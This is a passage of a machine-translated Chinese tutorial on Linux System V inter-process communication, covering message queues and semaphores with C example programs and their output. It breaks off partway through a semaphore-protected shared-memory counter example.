"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
Reading Process: Shared Memory: Read 1023 bytes
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete

Message Queues

当我们已经拥有共享内存时,为什么我们需要消息队列? 这将有多种原因,让我们试着将其分解为多个点以简化 -

  • 如所理解的,一旦过程接收到消息,它将不再可用于任何其他过程。 而在共享内存中,数据可供多个进程访问。

  • 如果我们想要与小消息格式进行通信。

  • 当多个进程同时通信时,共享内存数据需要通过同步进行保护。

  • 使用共享存储器的写入和读取频率很高,因此实现该功能将非常复杂。 在这种情况下使用不值得。

  • 如果所有进程不需要访问共享内存但很少有进程只需要它,那么使用消息队列实现会更好。

  • 如果我们想要与不同的数据包进行通信,则说过程A将消息类型1发送到进程B,消息类型10发送到进程C,消息类型20发送到进程D.在这种情况下,使用消息队列实现更简单。 为了将给定的消息类型简化为1,10,20,它可以是0或+ ve或-ve,如下所述。

  • 当然,消息队列的顺序是FIFO(先进先出)。 插入队列中的第一条消息是第一个要检索的消息。

使用共享内存或消息队列取决于应用程序的需要以及如何有效地使用它。

使用消息队列的通信可以通过以下方式进行 -

  • 通过一个进程写入共享内存并通过另一个进程从共享内存中读取。 我们知道,阅读也可以通过多个流程完成。

消息队列
  • 一个进程使用不同的数据包写入共享内存,并通过多个进程从中读取,即按消息类型。

多个消息队列

看过消息队列的某些信息后,现在是时候检查支持消息队列的系统调用(系统V)了。

要使用消息队列执行通信,请执行以下步骤 -

Step 1 - 创建消息队列或连接到现有的消息队列(msgget())

Step 2 - 写入消息队列(msgsnd())

Step 3 - 从消息队列中读取(msgrcv())

Step 4 - 对消息队列执行控制操作(msgctl())

现在,让我们检查上述调用的语法和某些信息。

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgget(key_t key, int msgflg)

此系统调用创建或分配System V消息队列。 以下论点需要通过 -

  • 第一个参数key识别消息队列。 键可以是任意值,也可以是从库函数ftok()派生的值。

  • 第二个参数shmflg指定所需的消息队列标志,例如IPC_CREAT(如果不存在则创建消息队列)或IPC_EXCL(与IPC_CREAT一起使用以创建消息队列,如果消息队列已存在则调用失败)。 还需要传递权限。

Note - 有关权限的详细信息,请参阅前面的部分

此调用将在成功时返回有效的消息队列标识符(用于进一步调用消息队列),如果失败则返回-1。 要了解失败的原因,请使用errno variable或perror()函数进行检查。

与此调用有关的各种错误是EACCESS(权限被拒绝),EEXIST(队列已存在无法创建),ENOENT(队列不存在),ENOMEM(没有足够的内存来创建队列)等。

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgsnd(int msgid, const void *msgp, size_t msgsz, int msgflg)

该系统调用将消息发送/附加到消息队列(系统V)。 以下论点需要通过 -

  • 第一个参数msgid识别消息队列,即消息队列标识符。 msgget()成功后收到标识符值

  • 第二个参数msgp是指向消息的指针,发送给调用者,在以下形式的结构中定义 -

struct msgbuf {
   long mtype;
   char mtext[1];
};

变量mtype用于与不同的消息类型进行通信,在msgrcv()调用中有详细解释。 变量mtext是一个数组或其他结构,其大小由msgsz(正值)指定。 如果未提及mtext字段,则将其视为零大小消息,这是允许的。

  • 第三个参数msgsz是消息的大小(消息应该以空字符结尾)

  • 第四个参数msgflg表示某些标志,如IPC_NOWAIT(在队列中未找到消息时立即返回或MSG_NOERROR(截断消息文本,如果超过msgsz字节)

此调用将在成功时返回0,在失败时返回-1。 要了解失败的原因,请使用errno variable或perror()函数进行检查。

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgrcv(int msgid, const void *msgp, size_t msgsz, long msgtype, int msgflg)

此系统调用从消息队列(系统V)中检索消息。 以下论点需要通过 -

  • 第一个参数msgid识别消息队列,即消息队列标识符。 msgget()成功后收到标识符值

  • 第二个参数msgp是从调用者接收的消息的指针。 它在以下形式的结构中定义 -

struct msgbuf {
   long mtype;
   char mtext[1];
};

变量mtype用于与不同的消息类型进行通信。 变量mtext是一个数组或其他结构,其大小由msgsz(正值)指定。 如果未提及mtext字段,则将其视为零大小消息,这是允许的。

  • 第三个参数msgsz是收到的消息的大小(消息应以空字符结尾)

  • 第四个参数msgtype表示消息的类型 -

    • If msgtype is 0 - 读取队列中第一个收到的消息

    • If msgtype is +ve - 读取msgtype类型队列中的第一条消息(如果msgtype为10,则只读取类型10的第一条消息,即使其他类型可能在开头的队列中)

    • If msgtype is –ve - 读取小于或等于消息类型绝对值的最小类型的第一条消息(例如,如果msgtype为-5,则它会读取类型小于5的第一条消息,即消息类型从1到5)

  • 第五个参数msgflg表示某些标志,如IPC_NOWAIT(在队列中未找到消息时立即返回,或者MSG_NOERROR(如果超过msgsz字节则截断消息文本)

此调用将返回成功时mtext数组中实际接收的字节数,如果失败则返回-1。 要了解失败的原因,请使用errno variable或perror()函数进行检查。

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgctl(int msgid, int cmd, struct msqid_ds *buf)

该系统调用执行消息队列(系统V)的控制操作。 以下论点需要通过 -

  • 第一个参数msgid识别消息队列,即消息队列标识符。 msgget()成功后收到标识符值

  • 第二个参数cmd是对消息队列执行所需控制操作的命令。 cmd的有效值为 -

IPC_STAT - 将struct msqid_ds的每个成员的当前值的信息复制到buf指向的传递结构。 此命令需要对消息队列具有读取权限。

IPC_SET - 设置结构buf指向的用户ID,所有者的组ID,权限等。

IPC_RMID - 立即删除消息队列。

IPC_INFO - 返回有关buf指向的结构中的消息队列限制和参数的信息,其类型为struct msginfo

MSG_INFO - 返回msginfo结构,其中包含有关消息队列消耗的系统资源的信息。

  • 第三个参数buf是指向名为struct msqid_ds的消息队列结构的指针。 此结构的值将用于set或get as cmd。

此调用将根据传递的命令返回值。 IPC_INFO和MSG_INFO或MSG_STAT的成功返回消息队列的索引或标识符,或者对于其他操作返回0,如果失败则返回-1。 要了解失败的原因,请使用errno variable或perror()函数进行检查。

看过有关消息队列的基本信息和系统调用,现在是时候检查程序了。

在查看程序之前让我们看一下描述 -

Step 1 - 创建两个进程,一个用于发送到消息队列(msgq_send.c),另一个用于从消息队列中检索(msgq_recv.c)

Step 2 - 使用ftok()函数创建密钥。 为此,最初创建文件msgq.txt以获取唯一键。

Step 3 - 发送过程执行以下操作。

  • 读取用户输入的字符串

  • 删除新行(如果存在)

  • 发送到消息队列

  • 重复该过程直到输入结束(CTRL + D)

  • 收到输入结束后,发送消息“结束”以表示进程结束

Step 4 - 在接收过程中,执行以下操作。

  • 从队列中读取消息
  • 显示输出
  • 如果收到的消息是“结束”,则完成该过程并退出

为简化起见,我们不使用此示例的消息类型。 此外,一个进程正在写入队列,另一个进程正在从队列中读取。 这可以根据需要进行扩展,即理想情况下,一个进程将写入队列,多个进程从队列中读取。

现在,让我们检查一下进程(消息发送到队列中) - 文件:msgq_send.c

/* Filename: msgq_send.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
   long mtype;
   char mtext[200];
};
int main(void) {
   struct my_msgbuf buf;
   int msqid;
   int len;
   key_t key;
   system("touch msgq.txt");
   if ((key = ftok("msgq.txt", 'B')) == -1) {
      perror("ftok");
      exit(1);
   }
   if ((msqid = msgget(key, PERMS | IPC_CREAT)) == -1) {
      perror("msgget");
      exit(1);
   }
   printf("message queue: ready to send messages.\n");
   printf("Enter lines of text, ^D to quit:\n");
   buf.mtype = 1; /* we don't really care in this case */
   while(fgets(buf.mtext, sizeof buf.mtext, stdin) != NULL) {
      len = strlen(buf.mtext);
      /* remove newline at end, if it exists */
      if (buf.mtext[len-1] == '\n') buf.mtext[len-1] = '\0';
      if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
      perror("msgsnd");
   }
   strcpy(buf.mtext, "end");
   len = strlen(buf.mtext);
   if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
   perror("msgsnd");
   if (msgctl(msqid, IPC_RMID, NULL) == -1) {
      perror("msgctl");
      exit(1);
   }
   printf("message queue: done sending messages.\n");
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

message queue: ready to send messages.
Enter lines of text, ^D to quit:
this is line 1
this is line 2
message queue: done sending messages.

以下是消息接收过程中的代码(从队列中检索消息) - 文件:msgq_recv.c

/* Filename: msgq_recv.c */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
   long mtype;
   char mtext[200];
};
int main(void) {
   struct my_msgbuf buf;
   int msqid;
   int toend;
   key_t key;
   if ((key = ftok("msgq.txt", 'B')) == -1) {
      perror("ftok");
      exit(1);
   }
   if ((msqid = msgget(key, PERMS)) == -1) { /* connect to the queue */
      perror("msgget");
      exit(1);
   }
   printf("message queue: ready to receive messages.\n");
   for(;;) { /* normally receiving never ends but just to make conclusion 
             /* this program ends wuth string of end */
      if (msgrcv(msqid, &buf, sizeof(buf.mtext), 0, 0) == -1) {
         perror("msgrcv");
         exit(1);
      }
      printf("recvd: \"%s\"\n", buf.mtext);
      toend = strcmp(buf.mtext,"end");
      if (toend == 0)
      break;
   }
   printf("message queue: done receiving messages.\n");
   system("rm msgq.txt");
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

message queue: ready to receive messages.
recvd: "this is line 1"
recvd: "this is line 2"
recvd: "end"
message queue: done receiving messages.

Inter Process Communication - Semaphores

想到的第一个问题是,为什么我们需要信号量? 一个简单的答案,用于保护多个进程之间共享的关键/公共区域。

让我们假设,多个进程使用相同的代码区域,如果所有进程都希望并行访问,则结果重叠。 比如说,例如,多个用户正在使用一个打印机(公共/关键部分),比如3个用户,同时给出3个作业,如果所有作业并行启动,则一个用户输出与另一个重叠。 因此,我们需要使用信号量来保护它,即在一个进程运行时锁定关键部分并在完成时解锁。 这将针对每个用户/进程重复进行,以便一个作业不与另一个作​​业重叠。

基本上信号量分为两种类型 -

Binary Semaphores - 只有两个状态0和1,即锁定/解锁或可用/不可用,Mutex实现。

Counting Semaphores - 允许任意资源计数的信号量称为计数信号量。

假设我们有5台打印机(要理解假设1台打印机只接受1份工作),我们有3个工作要打印。 现在将为3台打印机(每台1台)提供3个工作岗位。 在此过程中再次发生了4个工作岗位。 现在,在2台可用的打印机中,已经安排了2个作业,我们剩下2个作业,只有在其中一个资源/打印机可用后才能完成。 根据资源可用性的这种调度可以被视为计数信号量。

要使用信号量执行同步,请执行以下步骤 -

Step 1 - 创建信号量或连接到现有的信号量(semget())

Step 2 - 对信号量执行操作,即分配或释放或等待资源(semop())

Step 3 - 对消息队列执行控制操作(semctl())

现在,让我们通过我们的系统调用来检查这一点。

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semget(key_t key, int nsems, int semflg)

此系统调用创建或分配System V信号量集。 需要传递以下参数 -

  • 第一个参数key识别消息队列。 键可以是任意值,也可以是从库函数ftok()派生的值。

  • 第二个参数nsems指定信号量的数量。 如果是二进制则它是1,意味着需要1个信号量集,否则根据所需的信号量集数量。

  • 第三个参数semflg指定所需的信号量标志,如IPC_CREAT(如果不存在,则创建信号量)或IPC_EXCL(与IPC_CREAT一起用于创建信号量,如果信号量已存在则调用失败)。 还需要传递权限。

Note - 有关权限的详细信息,请参阅前面的部分

此调用将在成功时返回有效的信号量标识符(用于进一步调用信号量),在失败的情况下返回-1。 要了解失败的原因,请使用errno variable或perror()函数进行检查。

关于此调用的各种错误是EACCESS(权限被拒绝),EEXIST(队列已存在无法创建),ENOENT(队列不存在),ENOMEM(没有足够的内存来创建队列),ENOSPC(最大设置限制)超过)等

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semop(int semid, struct sembuf *semops, size_t nsemops)

此系统调用在System V信号量集上执行操作,即分配资源,等待资源或释放资源。 以下论点需要通过 -

  • 第一个参数semid表示由semget()创建的信号量集标识符。

  • 第二个参数semops是指向要在信号量集上执行的操作数组的指针。 结构如下 -

struct sembuf {
   unsigned short sem_num; /* Semaphore set num */
   short sem_op; /* Semaphore operation */
   short sem_flg; /* Operation flags, IPC_NOWAIT, SEM_UNDO */
};

上述结构中的元素sem_op表示需要执行的操作 -

  • 如果sem_op是-ve,则分配或获取资源。 阻止调用进程,直到其他进程释放了足够的资源,以便此进程可以分配。

  • 如果sem_op为零,则调用进程等待或休眠,直到信号量值达到0。

  • 如果sem_op是+ ve,则释放资源。

例如 -

struct sembuf sem_lock = {0,-1,SEM_UNDO};

struct sembuf sem_unlock = {0,1,SEM_UNDO};

  • 第三个参数nsemops是该数组中的操作数。

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semctl(int semid, int semnum, int cmd, …)

此系统调用执行System V信号量的控制操作。 需要传递以下参数 -

  • 第一个参数semid是信号量的标识符。 此id是信号量标识符,它是semget()系统调用的返回值。

  • 第二个参数semnum是信号量的数量。 信号量从0开始编号。

  • 第三个参数cmd是对信号量执行所需控制操作的命令。

  • 类型为union semun的第四个参数取决于cmd。 在少数情况下,第四个参数不适用。

让我们检查联盟semun -

union semun {
   int val; /* val for SETVAL */
   struct semid_ds *buf; /* Buffer for IPC_STAT and IPC_SET */
   unsigned short *array; /* Buffer for GETALL and SETALL */
   struct seminfo *__buf; /* Buffer for IPC_INFO and SEM_INFO*/
};

sys/sem.h中定义的semid_ds数据结构如下 -

struct semid_ds {
   struct ipc_perm sem_perm; /* Permissions */
   time_t sem_otime; /* Last semop time */
   time_t sem_ctime; /* Last change time */
   unsigned long sem_nsems; /* Number of semaphores in the set */
};

Note - 有关其他数据结构,请参阅手册页。

工会semun arg; cmd的有效值为 -

  • IPC_STAT - 将struct semid_ds的每个成员的当前值的信息复制到arg.buf指向的传递结构。 此命令需要对信号量的读取权限。

  • IPC_SET - 设置结构semid_ds指向的用户ID,所有者的组ID,权限等。

  • IPC_RMID - 删除信号量集。

  • IPC_INFO - 返回有关arg .__ buf指向的结构semid_ds中的信号量限制和参数的信息。

  • SEM_INFO - 返回一个seminfo结构,其中包含有关信号量消耗的系统资源的信息。

此调用将返回值(非负值),具体取决于传递的命令。 成功后,IPC_INFO和SEM_INFO或SEM_STAT返回根据信号量使用的最高条目的索引或标识符或GETNCNT的semncnt值或GETPID的sempid值或GETVAL 0的semval值用于其他成功操作和 - 1如果失败。 要了解失败的原因,请使用errno variable或perror()函数进行检查。

在查看代码之前,让我们了解它的实现 -

  • 创建两个进程,例如child和parent。

  • 创建共享内存主要用于存储计数器和其他标志,以指示读/写进程结束到共享内存中。

  • 计数器由父进程和子进程递增计数。 计数作为命令行参数传递或作为默认值传递(如果未作为命令行参数传递或值小于10000)。 以某些休眠时间调用以确保父和子同时访问共享存储器,即并行访问。

  • 因为,父和子都以1为步长递增计数器,最终值应该是计数器的两倍。 由于父进程和子进程同时执行操作,因此计数器不会根据需要递增。 因此,我们需要确保一个流程完成的完整性,然后是其他流程。

  • 所有上述实现都在文件shm_write_cntr.c中执行

  • 检查计数器值是否在文件shm_read_cntr.c中实现

  • 为确保完成,信号量程序在文件shm_write_cntr_with_sem.c中实现。 完成整个过程后删除信号量(从其他程序读取完成后)

  • 因为,我们有单独的文件来读取共享内存中的计数器值并且写入没有任何影响,读取程序保持不变(shm_read_cntr.c)

  • 在一个终端中执行写入程序并从另一个终端读取程序总是更好。 由于程序仅在写入和读取过程完成后才完成执行,因此可以在完全执行写入程序后运行程序。 写程序将一直等到读程序运行,并且只在完成后才结束。

没有信号量的程序。

/* Filename: shm_write_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
struct shmseg {
   int cntr;
   int write_complete;
   int read_complete;
};
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count);
int main(int argc, char *argv[]) {
   int shmid;
   struct shmseg *shmp;
   char *bufptr;
   int total_count;
   int sleep_time;
   pid_t pid;
   if (argc != 2)
   total_count = 10000;
   else {
      total_count = atoi(argv[1]);
      if (total_count < 10000)
      total_count = 10000;
   }
   printf("Total Count is %d\n", total_count);
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }
   shmp->cntr = 0;
   pid = fork();
   /* Parent Process - Writing Once */
   if (pid > 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
   } else if (pid == 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
      return 0;
   } else {
      perror("Fork Failure\n");
      return 1;
   }
   while (shmp->read_complete != 1)
   sleep(1);
   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }
   if (shmctl(shmid, IPC_RMID, 0) == -1) {
      perror("shmctl");
      return 1;
   }
   printf("Writing Process: Complete\n");
   return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
   int cntr;
   int numtimes;
   int sleep_time;
   cntr = shmp->cntr;
   shmp->write_complete = 0;
   if (pid == 0)
   printf("SHM_WRITE: CHILD: Now writing\n");
   else if (pid > 0)
   printf("SHM_WRITE: PARENT: Now writing\n");
   //printf("SHM_CNTR is %d\n", shmp->cntr);
   /* Increment the counter in shared memory by total_count in steps of 1 */
   for (numtimes = 0; numtimes < total_count; numtimes++) {
      cntr += 1;
      shmp->cntr = cntr;
      /* Sleeping for a second for every thousand */
      sleep_time = cntr % 1000;
      if (sleep_time == 0)
      sleep(1);
   }
   shmp->write_complete = 1;
   if (pid == 0)
   printf("SHM_WRITE: CHILD: Writing Done\n");
   else if (pid > 0)
   printf("SHM_WRITE: PARENT: Writing Done\n");
   return;
}

编译和执行步骤 (Compilation and Execution Steps)

Total Count is 10000
SHM_WRITE: PARENT: Now writing
SHM_WRITE: CHILD: Now writing
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete

现在,让我们检查共享内存读取程序。

/* Filename: shm_read_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#define SHM_KEY 0x12345
struct shmseg {
   int cntr;
   int write_complete;
   int read_complete;
};
int main(int argc, char *argv[]) {
   int shmid, numtimes;
   struct shmseg *shmp;
   int total_count;
   int cntr;
   int sleep_time;
   if (argc != 2)
   total_count = 10000;
   else {
      total_count = atoi(argv[1]);
      if (total_count < 10000)
      total_count = 10000;
   }
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }
   /* Read the shared memory cntr and print it on standard output */
   while (shmp->write_complete != 1) {
      if (shmp->cntr == -1) {
         perror("read");
         return 1;
      }
      sleep(3);
   }
   printf("Reading Process: Shared Memory: Counter is %d\n", shmp->cntr);
   printf("Reading Process: Reading Done, Detaching Shared Memory\n");
   shmp->read_complete = 1;
   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }
   printf("Reading Process: Complete\n");
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

Reading Process: Shared Memory: Counter is 11000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete

如果您观察到上述输出,则计数器应为20000,但是,由于在完成一个过程任务之前,其他过程也在并行处理,因此计数器值不是预期的。 输出因系统而异,并且每次执行都会有所不同。 为确保两个进程在完成一个任务后执行任务,应使用同步机制实现。

现在,让我们使用信号量检查相同的应用程序。

Note - 阅读程序保持不变。

/* Filename: shm_write_cntr_with_sem.c */
#include<stdio.h>
#include<sys/types.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/sem.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
#define SEM_KEY 0x54321
#define MAX_TRIES 20
struct shmseg {
   int cntr;
   int write_complete;
   int read_complete;
};
void shared_memory_cntr_increment(int, struct shmseg*, int);
void remove_semaphore();
int main(int argc, char *argv[]) {
   int shmid;
   struct shmseg *shmp;
   char *bufptr;
   int total_count;
   int sleep_time;
   pid_t pid;
   if (argc != 2)
   total_count = 10000;
   else {
      total_count = atoi(argv[1]);
      if (total_count < 10000)
      total_count = 10000;
   }
   printf("Total Count is %d\n", total_count);
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);
   if (shmp == (void *) -1) {
      perror("Shared memory attach: ");
      return 1;
   }
   shmp->cntr = 0;
   pid = fork();
   /* Parent Process - Writing Once */
   if (pid > 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
   } else if (pid == 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
      return 0;
   } else {
      perror("Fork Failure\n");
      return 1;
   }
   while (shmp->read_complete != 1)
